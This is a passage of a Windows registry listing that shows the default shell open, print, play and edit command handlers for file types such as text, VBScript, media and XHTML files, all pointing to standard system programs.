    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\notepad.exe /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Undecided\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\OpenWith.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\shell\Open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\OpenWith.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\shell\openas\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\OpenWith.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\shell\OpenWithSetDefaultOn\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\OpenWith.exe -override "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBEFile\Shell\Edit\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBEFile\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\WScript.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBEFile\Shell\Open2\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\CScript.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBEFile\Shell\Print\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBSFile\Shell\Edit\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBSFile\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\WScript.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBSFile\Shell\Open2\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\CScript.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBSFile\Shell\Print\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\vcard_wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /vcard "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WAB.AssocProtocol.LDAP\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Import "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wbcatfile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\sdclt.exe /restorepage

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wcxfile\shell\Open\Command
    (Default)    REG_SZ    "C:\Windows\System32\xwizard.exe" RunWizard /u {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z%1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wdpfile\shell\print\command
    (Default)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wdpfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_PrintTo /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\webpnpFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\wpnpinst.exe %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.CompositeFont\shell\open\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\notepad.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.IsoFile\shell\burn\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\isoburn.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.IsoFile\shell\mount\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.VhdFile\shell\mount\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.XamlDocument\shell\edit\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\notepad.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.XamlDocument\shell\open\command
    (Default)    REG_SZ    "C:\Windows\System32\PresentationHost.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.Xbap\shell\edit\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\notepad.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.Xbap\shell\open\command
    (Default)    REG_SZ    "C:\Windows\System32\PresentationHost.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WindowsBackupFolderOptions\shell\openDesktopIni\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\sdclt.exe /FOLDEROPTIONS %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WindowsStore.License\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\licensemanagershellext.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wmffile\shell\open\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wmffile\shell\print\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wmffile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.AudioCD\Shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:3 /device:AudioCD "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.BurnCD\Shell\Burn\Command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:3 /Task:CDWrite /Device:"%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.DVD\Shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:4 /device:DVD "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.DVR-MSFile\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.DVR-MSFile\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.VCD\Shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:4 /device:VCD "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.WTVFile\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.WTVFile\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.3G2\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.3G2\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.3GP\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.3GP\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ADTS\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ADTS\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AIFF\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AIFF\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ASF\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:7 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ASF\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:7 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ASX\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ASX\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AU\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AU\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AVI\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:8 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AVI\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:8 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.CDA\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.CDA\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.FLAC\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.FLAC\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.M2TS\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:12 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.M2TS\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:12 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.m3u\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.m3u\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.M4A\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.M4A\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MIDI\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MIDI\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MK3D\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MK3D\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MKA\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MKA\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MKV\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MKV\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MOV\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MOV\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MP3\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MP3\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MP4\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MP4\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MPEG\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:9 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MPEG\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:9 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.TTS\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:12 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.TTS\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:12 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WAV\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WAV\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WAX\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WAX\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.wma\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:5 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.wma\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:5 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WMD\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /WMPackage:"%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WMS\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /layout:"%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WMV\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:7 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WMV\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /prefetch:7 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WMZ\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /layout:"%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WPL\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WPL\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WVX\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WVX\shell\Play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocProtocol.DLNA-PLAYSINGLE\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocProtocol.MMS\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wordpad.Document.1\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wordpad.Document.1\shell\print\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wordpad.Document.1\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WPDContextMenu.Url\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\ieframe.dll",OpenURL %l

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSFFile\Shell\Edit\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSFFile\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\WScript.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSFFile\Shell\Open2\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\CScript.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSFFile\Shell\Print\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSHFile\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\WScript.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSHFile\Shell\Open2\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\CScript.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xhtmlfile\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xhtmlfile\shell\opennew\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xhtmlfile\shell\print\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xhtmlfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xmlfile\shell\Open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xslfile\shell\Open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\zapfile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\zapfile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\zapfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\notepad.exe /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\Protocols\certificate_wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /certificate "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\Protocols\contact_wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /contact "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\Protocols\group_wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Group "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\Protocols\LDAP\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\Protocols\vcard_wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /vcard "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /showexisting

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Mail\Hotmail\Protocols\mailto\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe "%ProgramFiles%\Internet Explorer\hmmapi.dll",MailToProtocolHandler %1

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Mail\Hotmail\shell\open\command
    (Default)    REG_EXPAND_SZ    %systemRoot%\system32\rundll32.exe "%ProgramFiles%\Internet Explorer\hmmapi.dll",OpenInboxHandler

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Media\Windows Media Player\shell\open\command
    (Default)    REG_EXPAND_SZ    %ProgramFiles%\Windows Media Player\wmplayer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\naom\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" -extoff

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command
    (Default)    REG_SZ    C:\Program Files\Internet Explorer\iexplore.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\Windows.AddNetworkLocation\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32 %SystemRoot%\System32\shwebsvc.dll,AddNetPlaceRunDll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\Windows.AddPrinter\command
    (Default)    REG_EXPAND_SZ    %systemroot%\system32\rundll32.exe printui.dll,PrintUIEntry /il

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\Windows.HistoryVaultRestore\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\FileHistory.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\0\{27dfca82-8593-46e4-98d8-23eb83452f65}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewEmail %*

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\1\{5099caf3-7ab4-4c18-ab35-3f3e664638e4}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewContact %*

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\2\{da8c976e-ec82-48ad-8ae4-38872e958dc5}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewGroup %*

